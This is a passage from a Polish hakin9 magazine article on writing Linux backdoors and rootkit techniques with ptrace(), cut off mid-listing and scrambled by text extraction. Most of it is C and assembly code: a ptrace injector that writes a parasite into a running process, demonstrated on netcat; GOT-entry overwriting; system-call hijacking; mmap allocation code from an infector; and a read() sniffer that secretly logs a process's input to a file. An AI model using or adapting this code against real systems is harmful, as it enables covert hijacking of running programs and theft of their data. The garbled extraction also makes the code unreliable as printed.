bić.  Zastrzegam  też,  że  użyłem  następują-
cych wersji gcc:

gcc version 3.3.5 (Debian)
gcc version 3.3.5 (SUSE Linux)

Kompilujemy zawsze prostą metodą gcc file.c 

-o  output;  nie  trzeba  żadnych  flag  kompilacji, 
toteż nie będę przedstawiać przykładów kom-
pilacji. To powinno być oczywiste. Tyle słowem 
wstępu, zaczynamy.

Objaśnienie funkcji ptrace()

Funkcja 

ptrace()

  jest  bardzo  użyteczna  przy 

debugowaniu. Używa się jej do śledzenia pro-
cesów.

Wywołanie  systemowe 

ptrace()

  dostar-

cza narzędzia poprzez które proces nadrzęd-
ny  może  obserwować  i  kontrolować  wykona-
nie innego procesu, a także podglądać i zmie-
niać jego główny obraz i rejestry. Najczęściej 
jest używany do zaimplementowania punktów 

Hakowanie aplikacji 

Rootkity i Ptrace

Stefan Klaas

stopień trudności

Przede wszystkim muszę zastrzec, że ten tekst jest specyficzny 

dla Linuksa i potrzebna jest pewna wiedza o programowaniu w 

ANSI C oraz trochę o asemblerze. Było już dawniej parę różnych 

technik wstrzykiwania procesu z udziałem, kilka publicznych, jak i 

prywatnych eksploitów, furtek i innych aplikacji. Przyjrzymy się bliżej 

funkcji i nauczymy się, jak pisać własne furtki.

Z artykułu dowiesz się...

•   należy  rozumieć  wywołanie  systemowe 

ptrace

();

•   używać  go  w  celu  zmiany  przepływu  stero-

wania  uruchomionych  programów  poprzez 
wstrzykiwanie  własnych  instrukcji  do  pamięci 
procesu, przejmując w ten sposób kontrolę nad 
uruchomionym procesem.

Powinieneś wiedzieć...

•   należy  być  obytym  ze  środowiskiem  Linuksa, 

jak i posiadać zaawansowaną wiedzę o C i pod-
stawową o asemblerze Intel/AT&T.

background image

Pisanie własnych furtek

hakin9 Nr 1/2007

www.hakin9.org

13

zatrzymania  podczas  debugowania 
i śledzenia wywołań systemowych.

Proces nadrzędny może zainicjo-

wać  śledzenie  poprzez  wywołanie 

fork()

 i nakazanie procesowi potom-

nemu wykonania 

PTRACE _ TRACEME

, a 

po  nim  (zazwyczaj) 

exec

.  Ewentual-

nie  proces  nadrzędny  może  zarzą-
dzić  śledzenie  istniejącego  procesu 
z użyciem 

PTRACE _ ATTACH

.

Proces  potomny,  gdy  jest  śle-

dzony, zatrzyma się za każdym ra-
zem,  gdy  dostanie  sygnał,  nawet 
jeśli  sygnał  ma  ustawione  ignoro-
wanie  (poza 

SIGKILL

,  który  kończy 

się zawsze tak samo). Proces nad-
rzędny  będzie  notyfikowany  w  na-
stępnym miejscu oczekiwania i mo-
że  przeglądać  i  modyfikować  pro-
ces  potomny,  gdy  ten  jest  zatrzy-
many. Proces nadrzędny następnie 
każe  procesowi  potomnemu  kon-
tynuować  wykonanie,  opcjonalnie 
ignorując  dostarczony  sygnał  (al-
bo nawet dostarczając mu inny sy-
gnał).

Gdy  proces  nadrzędny  zakoń-

czy śledzenie, może przerwać pro-
ces  potomny  przez 

PTRACE _ KILL

albo nakazać kontynuację wykony-
wania w normalnym, nie śledzonym 
trybie,  przez 

PTRACE _ DETACH

.  War-

tość  podana  jako  „request ”  okre-
śla  akcję,  jaka  ma  być  podjęta: 

PTRACE _ TRACEME

  –  oznacza,  że  ten 

proces ma być śledzony przez pro-
ces  nadrzędny.  Każdy  sygnał  (po-
za 

SIGKILL

)  dostarczony  do  proce-

su  spowoduje  zatrzymanie,  a  pro-
ces  nadrzędny  będzie  notyfikowa-
ny  w 

wait()

.  Również  każde  na-

stępne  wywołanie 

exec

...

()

  przez 

ten proces spowoduje dostarczenie 
SIGTRAP,  umożliwiając  procesowi 
nadrzędnemu przejęcie kontroli za-
nim nowy program zacznie się wy-
konywać.  Proces  raczej  nie  powi-
nien wykonać takiego żądania, jeśli 
proces nadrzędny nie oczekuje, że 
będzie  go  śledzić  (pid,  addr  i  data 
są  ignorowane).  To  powyższe  żą-
danie jest używane tylko przez pro-
ces potomny; pozostałe są używa-
ne  tylko  przez  proces  nadrzędny. 
W pozostałych żądaniach pid okre-
śla proces potomny, na którym na-
leży działać. Dla żądań innych, niż 

Listing 1. 

Przykładowy ptrace()-owy wstrzykiwacz

#include 

<stdio.h>

#include 

<stdlib.h>

#include 

<unistd.h>

#include 

<asm/unistd.h>

#include 

<asm/user.h>

#include 

<signal.h>

#include 

<sys/stat.h>

#include 

<sys/wait.h>

#include 

<errno.h>

#include 

<linux/ptrace.h>

asm

(

"MY_BEGIN:

\n

"

   

"call para_main

\n

"

);

  

/* oznaczamy początek kodu pasożyta */

char

 

*

getstring

(

void

)

 

{

   

asm

(

"call me

\n

"

   

"me:

\n

"

   

"popl %eax

\n

"

   

"addl $(MY_END - me), %eax

\n

"

);

}

void

 

para_main

(

void

)

 

{

/* tu się zaczyna główny kod pasożyta
 * wpisz co ci się podoba...
 * to jest tylko przykład
 */

 

asm

(

"

\n

"

   

"movl $1, %eax

\n

"

   

"movl $31337, %ebx

\n

"

   

"int  $0x80

\n

"

   

"

\n

"

);

 

/*

   * wykonujemy exit(31337);
   * tylko po to, żeby było to widać na strace...
   */

}

asm

(

"MY_END:"

);

   

/* tu kończy się zawartość pasożyta */

char

 

*

GetParasite

(

void

)

   

/* umieść pasożyta */

{

   

asm

(

"call me2

\n

"

   

"me2:

\n

"

  

"popl %eax

\n

"

   

"subl $(me2 - MY_BEGIN), %eax

\n

"

   

"

\n

"

);

}

int

 

PARA_SIZE

(

void

)

{

   

asm

(

"movl $(MY_END-MY_BEGIN), %eax

\n

"

);

   

/* weź rozmiar pasożyta */

}

int

 

main

(

int

 

argc

char

 

*

argv

[])

{

   

int

 

parasize

;

   

int

 

i

a

pid

;

   

char

 

inject

[

8000

];

   

struct

 

user_regs_struct

 

reg

;

   

printf

(

"

\n

[Przykladowy wtryskiwacz ptrace]

\n

"

);

   

if

 

(

argv

[

1

]

 

==

 

0

)

 

{

   

printf

(

"[usage: %s [pid] ]

\n\n

"

argv

[

0

]);

   

exit

(

1

);

 

}

   

pid

 

=

 

atoi

(

argv

[

1

]);

 

parasize

 

=

 

PARA_SIZE

();

 

/* liczymy rozmiar */

   

while

 

((

parasize

 

%

 

4

)

 

!=

 

0

)

 

parasize

++;

/* tworzymy kod do wstrzyknięcia */

   

{

   

memset

(&

inject

0

sizeof

(

inject

));

   

memcpy

(

inject

GetParasite

()

PARA_SIZE

());

   

if

 

(

ptrace

(

PTRACE_ATTACH

pid

0

0

)

 

<

 

0

)

  

/* podłącz się do procesu */

   {

background image

hakin9 Nr 1/2007

www.hakin9.org

Atak

14

PTRACE _ KILL

, proces potomny musi 

być zatrzymany.

PTRACE _ PEEKTEXT

,

 

PTRACE _

PEEKDATA

  –  czyta  słowo  spod  lo-

kacji  addr  w  pamięci  procesu  po-
tomnego,  zwracając  je  jako  rezul-
tat 

ptrace()

.  Linux  nie  umieszcza 

segmentu kodu i segmentu danych 
w  osobnych  przestrzeniach  adre-
sowych, więc te dwa wywołania są 
aktualnie  równoważne  (argument 

data jest ignorowany).

PTRACE _ PEEKUSR

  –  czyta  sło-

wo  spod  przesunięcia  addr  w  prze-
strzeni 

USER

  procesu  potomnego, 

który trzyma rejestry i inne informa-
cje o procesie (patrz 

<linux/user.h>

 

<sys/user.h>

.  Słowo  jest  zwracane 

jako  rezultat 

ptrace()

.  Zwykle  prze-

sunięcie  musi  być  wyrównane  do 
pełnego słowa, może się więc to róż-
nić  na  różnych  architekturach  (data 
jest ignorowane).

PTRACE _ POKETEXT, 

PTRACE _

POKEDATA 

– kopiuje słowo spod „da-

ta” do lokacji addr w pamięci proce-
su. Jak wyżej, oba te wywołania są 
równoważne.

PTRACE _ POKEUSR

  –  kopiuje  słowo 

data pod przesunięcie addr w prze-
strzeni 

USER

 procesu potomnego. Jak 

wyżej, przesunięcie musi być wyrów-
nane do pełnego słowa. W celu za-
pewnienia  spójności  jądra,  niektóre 
modyfikacje w obszarze 

USER

 są nie-

dozwolone.

PTRACE _ GETREGS

PTRACE _

GETFPREGS

 – kopiuje odpowiednio re-

jestry  ogólnego  przeznaczenia  lub 
rejestry  zmiennoprzecinkowe  pro-
cesu  potomnego  do  lokacji  data  w 
procesie potomnym. Zobacz 

<linux/

user.h>

  w  celu  uzyskania  informacji 

na temat formatu tych danych (addr 
jest ignorowane).

PTRACE _ SETREGS

PTRACE _

SETFPREGS

 – kopiuje odpowiednio re-

jestry  ogólnego  przeznaczenia  lub 
zmiennoprzecinkowe  z  lokacji  data 
w  procesie  nadrzędnym.  Podobnie, 
jak w

 PTRACE _ POKEUSER

, modyfikacja 

niektórych rejestrów ogólnego prze-
znaczenia  może  być  niedozwolona 
(addr jest ignorowany).

PTRACE _ CONT

  –  wznawia  wyko-

nywanie  zatrzymanego  procesu 
potomnego. Jeśli wartość data jest 

Listing 1a. 

Przykładowy ptrace()-owy wstrzykiwacz

Przetestujmy to na terminalu (A):

server

:

~# 

gcc

 

ptrace

.

c

 

-

W

server

:

~# 

nc

 

-

lp

 

1111

 

&

[

1

]

 

7314

server

:

~# ./

a

.

out

 

7314

[

Przykladowy

 

wtryskiwacz

 

ptrace

]

+

 

attached

 

to

 

proccess

 

id

:

 

7314

-

 

sending

 

stop

 

signal

..

+

 

proccess

 

stopped

.

-

 

calculating

 

parasite

 

injection

 

size

..

+

 

Parasite

 

is

 

at

:

 

0x400fa276

-

 

detach

..

+

 

finished

!

server

:

~#

A teraz na terminalu (B), pokażemy strace-m proces Netcat:

gw1

:

~# 

strace

 

-

p

 

7314

Process

 

7314

 

attached

   

-

 

interrupt

 

to

 

quit

accept(3,

Wracamy  na  terminal  A  i  podłączamy  się  pod  zainfekowany  proces 

Netcat:

server

:

~# 

nc

 

-

v

 

localhost

 

1111

localhost

 

[

127.0

.

0.1

]

 

1111

 

(

?

)

 

open

[

1

]+

  

Exit

 

105

   

nc

 

-

lp

 

1111

server

:

~#

Sprawd

ź

my

 

teraz

co

 

napisa

ł 

strace

 

na

 

terminalu

 

B

:

accept

(

3

{

sa_family

=

AF_INET

,

   

sin_port

=

htons

(

35261

)

,

sin_addr

=

inet_addr

   

(

"127.0.0.1"

)

}

[

16

])

 

=

 

4

_exit

(

31337

)

   

=

 ?

Process

 

7314

 

detached

server

:

~#

Listing 1b. 

Prosty wstrzykiwacz ptrace()

   

printf

(

"cant attach to pid %d: %s

\n

"

pid

strerror

(

errno

));

   

exit

(

1

);

   

}

   

printf

(

"+ attached to proccess id: %d

\n

"

pid

);

   

printf

(

"- sending stop signal..

\n

"

);

   

kill

(

pid

SIGSTOP

);

   

/* zatrzymaj proces*/

   

waitpid

(

pid

NULL

WUNTRACED

);

   

printf

(

"+ proccess stopped. 

\n

"

);

   

ptrace

(

PTRACE_GETREGS

pid

0

&

reg

);

   

/* pobierz rejestry */

   

printf

(

"- calculating parasite injection size.. 

\n

"

);

   

for

 

(

i

 

=

 

0

;

 

i

 

<

 

parasize

;

 

i

 

+=

 

4

)

   

/* wrzuć kod pasożyta pod %eip */

   

{

   

int

 

dw

;

   

memcpy

(&

dw

inject

 

+

 

i

4

);

   

ptrace

(

PTRACE_POKETEXT

pid

reg

.

eip

 

+

 

i

dw

);

   

}

   

printf

(

"+ Parasite is at: 0x%x 

\n

"

reg

.

eip

);

   

printf

(

"- detach..

\n

"

);

   

ptrace

(

PTRACE_CONT

pid

0

0

);

   

/* wznów proces potomny */

background image

Pisanie własnych furtek

hakin9 Nr 1/2007

www.hakin9.org

15

niezerowa  i  nie 

SIGSTOP

,  jest  inter-

pretowana jako sygnał, który nale-
ży dostarczyć do procesu; w prze-
ciwnym  razie  nie  jest  dostarcza-
ny  żaden  sygnał.  W  ten  sposób, 
na  przykład,  proces  potomny  mo-
że  kontrolować,  czy  sygnał  wysła-
ny  do  procesu  potomnego  był  do-
starczony,  czy  nie  (addr  jest  igno-
rowane).

PTRACE _ SYSCALL

PTRACE _ SINGLE

-

STEP

 – wznawia wykonywanie zatrzy-

manego procesu potomnego, jak dla 

PTRACE _ CONT

, ale zarządza, że pro-

ces potomny będzie zatrzymany od-
powiednio  przy  następnym  wejściu 
lub  wyjściu  z  wywołania  systemo-
wego,  albo  wywołaniu  pojedynczej 
instrukcji  (proces  potomny  zatrzy-
ma się też, jak zwykle, po otrzyma-
niu sygnału). Z punktu widzenia pro-
cesu  nadrzędnego,  proces  potom-
ny będzie wyglądał, jakby został za-
trzymany przez otrzymanie 

SIGTRAP

Zatem P

TRACE _ SYSCALL

 można użyć 

w ten sposób, że sprawdzamy argu-
menty przesłane do wywołania sys-
temowego przy pierwszym wołaniu, 
a  następnie  dokonujemy  następne-
go 

PTRACE _ SYSCALL

  i  sprawdzamy 

wartość zwróconą przez wywołanie 
systemowe w następnym zatrzyma-
niu (addr jest ignorowane).

PTRACE _ KILL

  –  wysyła 

SIGKILL

 

procesowi  potomnemu  powodując 
jego  zakończenie  (addr  i  data  są 
ignorowane).

PTRACE _ ATTACH

 – dołącza się do 

procesu podanego jako pid, powo-
dując  że  ten  proces  staje  się  śle-
dzonym  procesem  potomnym  dla 
bieżącego  procesu,  czyli  tak,  jak-
by  ten  „potomny”  proces  wyko-
nał 

PTRACE _ TRACEME

.  Bieżący  pro-

ces  staje  się  w  istocie  procesem 
nadrzędnym  tego  potomnego  pro-
cesu  dla  niektórych  zastosowań 
(np.  będzie  dostawał  notyfikacje 
zdarzeń  procesu  potomnego  i  bę-
dzie widoczny w raporcie ps(1) ja-
ko  proces  nadrzędny  tego  proce-
su,  ale  getppid(2)  w  procesie  po-
tomnym  będzie  wciąż  zwracać  pid 
oryginalnego  procesu  nadrzędne-
go. Proces potomny dostaje sygnał 

SIGSTOP

,  ale  niekoniecznie  zatrzy-

ma  się  na  tym  wywołaniu;  należy 

Listing 3. 

Przykład sys_write

int

 

patched_syscall

(

int

 

fd

char

 

*

data

int

 

size

)

{

// pobieramy wszystkie parametry ze stosu, deskryptor umieszczony
// pod 0x8(%esp), dane pod 0xc(%esp), a rozmiar pod 0x10(%esp)

   

asm

(

"

   

movl

 $

4

,

%

eax

   # oryginalne wywołanie systemowe

   

movl

 $

0x8

(%

esp

)

,

%

ebx

   # fd

   

movl

 $

0xc

(%

esp

)

,

%

ecx

   # dane

   

movl

 $

0x10

(%

esp

)

,

%

edx

 # rozmiar

   

int

  $

0x80

// po wywołaniu przerwania, wartość zwracana zostanie zapisana w %eax
// jeśli chcesz dodać kod za oryginalnym wywołaniem systemowym

// należy zapamiętać gdzie indziej %eax i przywrócić 
na końcu

// nie wstawiaj instrukcji 'ret' na koniec!

   "

)

Listing 2. 

Rzut oka na tablicę GOT

[

root

@

hal

 /

root

]

# objdump -R /usr/sbin/httpd |grep read

08086

b5c

 

R_386_GLOB_DAT

   

ap_server_post_read_config

08086

bd0

 

R_386_GLOB_DAT

   

ap_server_pre_read_config

08086

c0c

 

R_386_GLOB_DAT

   

ap_threads_per_child

080869

b0

 

R_386_JUMP_SLOT

   

fread

08086

b24

 

R_386_JUMP_SLOT

   

readdir

08086

b30

 

R_386_JUMP_SLOT

   

read

   

<--

 

tu

 

mamy

 

nasz

ą 

read

()

[

root

@

hal

 /

root

]

#

Listing 4. 

Kod z infektora Ii, znaleziony w internecie, do przydzielania 

potrzebnej pamięci

void

 

infect_code

()

{

   

asm

(

"

   xorl %eax,%eax
   push %eax   # offset = 0
   pushl $-1   # no fd
   push $0x22   # MAP_PRIVATE|MAP_ANONYMOUS
   pushl $3   # PROT_READ|PROT_WRITE
   push $0x55     # mmap() przydziela 1000 bajtów domyślnie, więc 
      # jeśli potrzeba więcej, oblicz potrzebny rozmiar.
   pushl %eax   # start addr = 0
   movl %esp,%ebx
   movb $45,%al
   addl $45,%eax   # mmap()
   int $128
   ret
   "

);

}

Listing 1c. 

Prosty wstrzykiwacz ptrace()

   

ptrace

(

PTRACE_DETACH

pid

0

0

);

  

/* odłącz się od procesu */

   

printf

(

"+ finished!

\n\n

"

);

   

exit

(

0

);

   

}

}

background image

hakin9 Nr 1/2007

www.hakin9.org

Atak

16

użyć  wait()  w  celu  zaczekania,  aż 
proces potomy się zatrzyma (addr i 
data są ignorowane).

PTRACE _ DETACH

 – wznawia zatrzy-

many proces potomny, jak dla 

PTRACE _

CONT

,  ale  uprzednio  odłącza  się  od 

procesu,  cofając  efekt  zmiany  rodzi-
ca  wywołany  przez 

PTRACE _ ATTACH

  i 

efekt wywołania 

PTRACE _ TRACEME

. Mi-

mo, że niekoniecznie o to może cho-
dzić,  pod  Linuksem  śledzony  proces 
potomny  może  zostać  odłączony  w 
ten  sposób,  niezależnie  od  metody 
użytej do rozpoczęcia śledzenia (addr 
jest ignorowany).

Dobrze,  nie  martw  się,  nie  musisz 
wszystkiego rozumieć już teraz. Po-
każę Ci niektóre zastosowania póź-
niej w tym artykule.

Praktyczne 

zastosowania 

wywołania ptrace()

Zwykle 

ptrace()

 jest stosowane do 

śledzenia procesów w celach debu-
gowych. Może być całkiem poręcz-
ne. Programy strace i ltrace używa-
ją  wywołań 

ptrace()

  do  śledzenia 

wykonujących  się  procesów.  Jest 
parę  interesujących  i  użytecznych 

programów  na  sieci  i  możesz  po-
szukać  Googlem  jakichś  progra-
mów w akcji.

Czym są pasożyty

Pasożyty  są  to  nie  replikowane  sa-
modzielnie  kody,  które  wstrzykuje 
się  do  programów  przez  zainfeko-
wanie  ELF-a  lub  bezpośrednio  do 
pamięci  procesu  w  czasie  jego  wy-
konywania,  przez 

ptrace()

.  Główna 

różnica zasadza się tu na tym, że in-
fekcja 

ptrace()

  nie  jest  rezydentna, 

podczas  gdy  infekcja  ELF-a  zaraża 
plik binarny podobnie jak wirus i po-
zostaje tam nawet po restarcie sys-
temu.  Pasożyt  wstrzyknięty  przez 

ptrace()

  rezyduje  tylko  w  pamięci, 

zatem jeśli proces, na przykład, do-
stanie 

SIGKILL

-a, pasożyt wyciągnie 

nogi wraz z nim. Ponieważ 

ptrace()

 

jest stosowany do wstrzykiwania ko-
du  w  trakcie  wykonywania  procesu, 
zatem  w  oczywisty  sposób  nie  bę-
dzie to kod rezydentny.

Klasyczne 

wstrzyknięcie ptrace()

Ptrace()

  potrafi  obserwować  i  kon-

trolować wykonanie innego procesu. 
Jest  również  władny  zmieniać  jego 
rejestry.  Skoro  można  zatem  zmie-
niać rejestry innego procesu, jest to 
nieco oczywiste, dlaczego może być 
użyty  do  eksploitów.  Oto  przykład 
starej  dziury 

ptrace()

  w  starym  ją-

drze Linuksa.

Jądra Linuxa przed 2.2.19 mia-

ły błąd pozwalający uzyskać lokal-
nie roota i większość ludzi używa-
jących tego jądra mogła jeszcze go 
nie  poprawić.  W  każdym  razie  ta 
dziura wykorzystuje sytuację wyści-
gu w jądrze Linuksa 2.2.x wewnątrz 
wywołania  systemowego 

execve()

Wstrzymując  proces  potomny 
przez 

sleep()

  wewnątrz 

execve()

atakujący  może  użyć 

ptrace()

  lub 

podobnych mechanizmów do prze-
jęcia kontroli nad procesem potom-
nym. Jeśli proces potomny ma se-

tuid, atakujący może użyć procesu 
potomnego do wykonania dowolne-
go kodu na podkręconych prawach. 
Znanych  jest  też  kilka  innych  pro-
blemów  bezpieczeństwa  związa-
nych  z 

ptrace()

  w  jądrze  Linuxa 

Rysunek 1. 

Ściągnięcie i kompilacja wstrzykiwacza

Listing 5. 

Przykład, czego potrzeba do funkcji infect_code()

ptrace

(

PTRACE_GETREGS

pid

&

reg

&

reg

);

ptrace

(

PTRACE_GETREGS

pid

&

regb

&

regb

);

reg

.

esp

 

-=

 

4

;

ptrace

(

PTRACE_POKETEXT

pid

reg

.

esp

reg

.

eip

);

ptr

 

=

 

start

 

=

 

reg

.

esp

 

-

 

1024

;

reg

.

eip

 

=

 

(

long

)

 

start

 

+

 

2

;

ptrace

(

PTRACE_SETREGS

pid

&

reg

&

reg

);

while

(

i

 

<

 

strlen

(

sh_code

))

 

{

   

ptrace

(

PTRACE_POKETEXT

,

pid

,

ptr

,

(

int

)

 

*(

int

 

*)(

sh_code

+

i

));

   

i

 

+=

 

4

;

   

ptr

 

+=

 

4

;

}

printf

(

"trying to allocate memory 

\n

"

);

ptrace

(

PTRACE_SYSCALL

pid

0

0

);

ptrace

(

PTRACE_SYSCALL

pid

0

0

);

ptrace

(

PTRACE_SYSCALL

pid

0

0

);

ptrace

(

PTRACE_GETREGS

pid

&

reg

&

reg

);

ptrace

(

PTRACE_SYSCALL

pid

0

0

);

printf

(

"new memory region mapped to..: 0x%.8lx

\n

"

reg

.

eax

);

printf

(

"backing up registers...

\n

"

);

ptrace

(

PTRACE_SETREGS

pid

&

regb

&

regb

);

printf

(

"dynamical mapping complete! 

\n

"

pid

);

ptrace

(

PTRACE_DETACH

pid

0

0

);

return

 

reg

.

eax

;

background image

Pisanie własnych furtek

hakin9 Nr 1/2007

www.hakin9.org

17

przed  2.2.19  i  po,  które  oznaczo-
no  już  jako  rozwiązane,  ale  wielu 
administratorów  nie  założyło  jesz-
cze  łat,  więc  te  błędy  mogą  wciąż 
istnieć na wielu systemach. Podob-
ny problem istnieje w 2.4.x – sytu-
acja wyścigu w 

kernel/kmod.c

, któ-

ry tworzy wątek jądra w sposób na-
rażający bezpieczeństwo.

Ten błąd pozwala 

ptrace()

-ować 

sklonowane procesy, przez co moż-
na  przejąć  kontrolę  nad  uprzywile-
jowanymi  binariami.  Załączam  kod 
eksploita  na  tą  dziurę  jako  Proof 

of  Concept  (patrz  Listing  9).  To  był 
drobny  przykład,  jak  użyć 

ptrace

() 

do  poszerzania  uprawnień.  A,  no 
cóż,  myślę,  że  na  razie  mały  przy-

kład  ze  wstrzykiwaniem,  i  wystar-
czy  jak  na  nasz  pierwszy  przykła-
dowy  kod.  Zatem,  oto  ten  przykład, 
prosty 

ptrace()

-owy  wstrzykiwacz 

(Listingi 1 i 2).

Jak widać, działa! Dobrze, wystar-

czy jak na tą część. To jest wstrzyki-
wanie przez

  ptrace().

 Przejdźmy te-

raz  do  bardziej  zaawansowanych 
technik związanych z tą funkcją. W ra-
zie  wątpliwości,  możesz  przeczytać 
ten  artykuł  jeszcze  raz  od  początku 
i  pobawić  się  z  załączonym  przykła-
dem, po prostu w celu pełnego zrozu-
mienia, o co w tym chodzi, co jest wy-
magane w pozostałej części artykułu, 
jeśli chcesz zrozumieć 

ptrace()

.

Nadpisywanie 

funkcji przez ptrace()

Ta  technika  jest  nieco  bardziej  za-
awansowana i takoż użyteczna – nad-
pisywanie funkcji za pomocą ptrace(). 
Na pierwszy rzut oka wygląda tak sa-
mo, jak wstrzykiwanie przez ptrace(), 
ale faktycznie jest trochę inne. Zwykle 
wstrzykujemy nasz kod powłokowy do 
procesu. Wstawiamy to na stos i zmie-
niamy parę rejestrów. Jest to więc tro-
chę  ograniczone  i  jednorazowego 
użytku. Jeśli jednak załatamy wywo-
łania systemowe w przestrzeni jądra, 
będzie to jak zaimportowanie dzielo-
nej  funkcji,  która  wykonuje  te  same 
akcje,  co  prawdziwe  wywołanie  sys-
temowe. Globalna Tablica Przesunięć 
(GOT) podaje nam lokację wywołania 
systemowego  w  pamięci,  gdzie  bę-
dzie to zamapowane po załadowaniu. 
Najprościej można to odczytać przez 

objdump, wystarczy wygrepować z te-
go  relokację  wywołania  systemowe-
go. Rzućmy okiem na Listing 2.

Za  każdym  razem,  gdy  proces 

chce  wywołać 

read()

,  woła  adres 

POD  08086b30.  Pod  08086b30  jest 
inny  adres,  który  wskazuje  na  fak-
tyczną read. Jeśli wpiszesz inny adres 
pod 08086b30, następnym razem, jak 
proces  zawoła 

read()

,  skoczy  zupeł-

nie gdzie indziej. Jeśli zrobisz:

movl $0x08086b30, %eax
movl $0x41414141, (%eax)

to następnym razem, gdy zostanie za-
wołana 

read()

,  zainfekowany  proces 

Listing 7a. 

Drobna funkcja pobierająca segment kodu docelowego 

procesu

int

 

get_textsegment

(

int

 

pid

int

 

*

size

)

{

 

Elf32_Ehdr

 

ehdr

;

 

char

 

buf

[

128

];

 

FILE

 

*

input

;

 

int

 

i

;

 

snprintf

(

buf

sizeof

(

buf

)

"/proc/%d/exe"

pid

);

 

if

 

(!(

input

 

=

 

fopen

(

buf

"rb"

)))

 

return

 

(-

1

);

 

if

 

(

fread

(&

ehdr

sizeof

(

Elf32_Ehdr

)

1

input

)

 

!=

 

1

)

Listing 6. 

Przykład sniffera read()

#

define

 

LOGFILE

 

"/tmp/read.sniffed"

asm

(

"INJECT_PAYLOAD_BEGIN:"

);

int

 

Inject_read

(

int

 

fd

char

 

*

data

int

 

size

)

{

 

asm

(

"

 jmp DO
 DONT:
 popl %esi # pobierz adres pliku logowania
 xorl %eax, %eax
 movb $3, %al # wywołaj read()
 movl 8(%esp), %ebx # ebx: fd
 movl 12(%esp),%ecx # ecx: data
 movl 16(%esp),%edx # edx: size
 int $0x80
 movl %eax, %edi # zachowaj wartość zwracaną przez funkcję w %edi
 movl $5, %eax # wywolaj open()
 movl %esi, %ebx # LOGFILE
 movl $0x442, %ecx # O_CREAT|O_APPEND|O_WRONLY
 movl $0x1ff, %edx # prawa dostępu 0777
 int $0x80
 movl %eax, %ebx # ebx: fd przez następne dwa wywołania
 movl $4, %eax # write() zapis do logu
 movl 12(%esp),%ecx # wskaźnik na dane
 movl %edi, %edx # wartość zwrócona z read - ilość przeczytanych bajtów
 int $0x80
 movl $6, %eax # zgadnij :P
 int $0x80
 movl %edi, %eax # zwróć %edi
 jmp DONE
 DO:
 call DONT
 .ascii 

\"

"

LOGFILE

"

\"

 .byte 0x00
 DONE:
 "

);

}

asm

(

"INJECT_P_END:"

);

background image

hakin9 Nr 1/2007

www.hakin9.org

Atak

18

naruszy segmentację na 0x41414141. 
Uzbrojeni w tą wiedzę możemy pójść 
krok  dalej.  Pomyślmy  o  możliwo-
ściach,  jakie  mamy.  Ponieważ  jeste-
śmy w stanie nadpisać dowolną funk-
cję w locie, możemy wstawiać różne 
furtki do uruchomionych procesów.

Możemy  całkowicie  kontrolować 

przepływ  wykonania  np.  daemona, 
przejmować  wywołania  systemowe, 
zmieniać  wartości  zwracane  lub  lo-
gować dane. Najpierw potrzebujemy 
jednak pewnej przestrzeni na furtkę. 
Mamy  ok.  240  bajtów  nieużywanej 
przestrzeni pamięci pod 0x8048000. 
Przestrzeń ta jest zajmowana przez 
nagłówki ELF-a, które nie są używa-
ne  podczas  wykonywania.  Możesz 
po prostu zmienić te dane i wrzucić 
co  ci  się  podoba  do  tej  przestrzeni 
i  nic  się  nie  stanie.  Zatem  zamiast 
niszczyć  dane  przez  wstrzykiwanie 
ładunku  pod 

%eip

,  możemy  wrzucić 

to  właśnie  tam,  albo  chociaż  paso-
żyta  inicjatywnego,  który  zaciągnie 
później większego pasożyta.

Przejmowanie 

wywołań systemowych

Segment .text zawiera nagłówki pro-
gramu  ELF  i  inne  informacje,  któ-
re  są  używane  tylko  do  inicjaliza-
cji.  Po  załadowaniu  procesu,  ten 
nagłówek jest już nieużywany i mo-
żemy  bezpiecznie  go  nadpisać  na-
szym  kodem.  Do  pobrania  począt-
kowej pozycji tej sekcji trzeba spraw-
dzić 

p _ vaddr

. Sekcja ta ma ustalony 

rozmiar; wykonując proste obliczenia 
mamy nasz wzór:

największy_możliwy_rozmiar
   =sizeof(e_hdr)+sizeof(p_hdr)
   *liczba_p_headerów

To  mało,  ale  wystarczy  na  nasz 
schludny  kod  asemblera.  Przy  pod-
mienianiu  wywołania  systemowe-
go  powinniśmy  zachować  oryginal-
ne  wywołanie.  Naszą  implemen-
tację  powinniśmy  napisać  tak,  że-
by  zachowywała  się  jak  oryginał. 
Poniżej  przedstawiona  jest  część 
kodu,  która  nadpisze  wybrane  wy-
wołanie systemowe wybranego pro-
cesu.  Przykład  z 

sys _ write

  jest 

pokazany na Listingu 3.

Listing 7b. 

Drobna funkcja pobierająca segment kodu docelowego 

procesu

 

goto

 

end

;

 

/*

 * czytamy nagłówek ELF + kilka kalkulacji
 */

 

*

size

 

=

 

sizeof

(

Elf32_Ehdr

)

 

+

 

ehdr

.

e_phnum

 

*

 

sizeof

(

Elf32_Phdr

);

 

if

 

(

fseek

(

input

ehdr

.

e_phoff

SEEK_SET

)

 

!=

 

0

)

 

goto

 

end

;

 

for

 

(

i

 

=

 

0

;

 

i

 

<

 

ehdr

.

e_phnum

;

 

i

++)

 

{

 

Elf32_Phdr

 

phdr

;

 

if

 

(

fread

(&

phdr

sizeof

(

Elf32_Phdr

)

1

input

)

 

!=

 

1

)

 

goto

 

end

;

 

if

 

(

phdr

.

p_offset

 

==

 

0

)

 

{

 

fclose

(

input

);

 

return

 

phdr

.

p_vaddr

;

 

}

 

}

end

:;

 

fclose

(

input

);

 

return

 

(-

1

);

}

/*

 

Teraz wywołanie naszej funkcji z main()

*/

if

 

((

textseg

 

=

 

get_textsegment

(

pid

&

size

))

 

==

 

-

1

)

 

{

 

fprintf

(

stderr

"unable to locate pid %d

\'

s text segment address (%s)

\n

"

,

 "

nie

 

odnaleziono

 

dla

 

pid

 

%

d

\

s

adresu

 

bufora

 

tekstowego

 

%

s

 \

n

 

pid

strerror

(

errno

));

 

return

 

(-

1

);

}

/*

 

teraz musimy określić rozmiar kodu wstawianego,

* nie może on (dla bezpieczeństwa) przekroczyć 244 bajtów!
*/

if

 

(

inject_parasite_size

()

 

>

 

size

)

 

{

 // validate the size

 

fprintf

(

stderr

"Twoj pasozyt jest zbyt duzy. Zoptymizuj go!"

);

 

return

 

(-

1

);

}

/*
readgot jest funkcją, która zwróci nam globalny adres read() z tablicy 

adresów.

objdump twoim przyjacielem, więc można napisać 
funkcyjkę, która używa objdump by otrzymać GOT.
Jeśli jesteś leniwy, możesz dostarczyć GOT w argv[2] lub
zastosować inne rozwiązanie. Ten punkt pozostawiamy jako ćwiczenie
dla zainteresowanego użytkownika
*/

snprintf

(

buf

sizeof

(

buf

)

"/proc/%d/exe"

pid

);

if

 

((

readgot

 

=

 

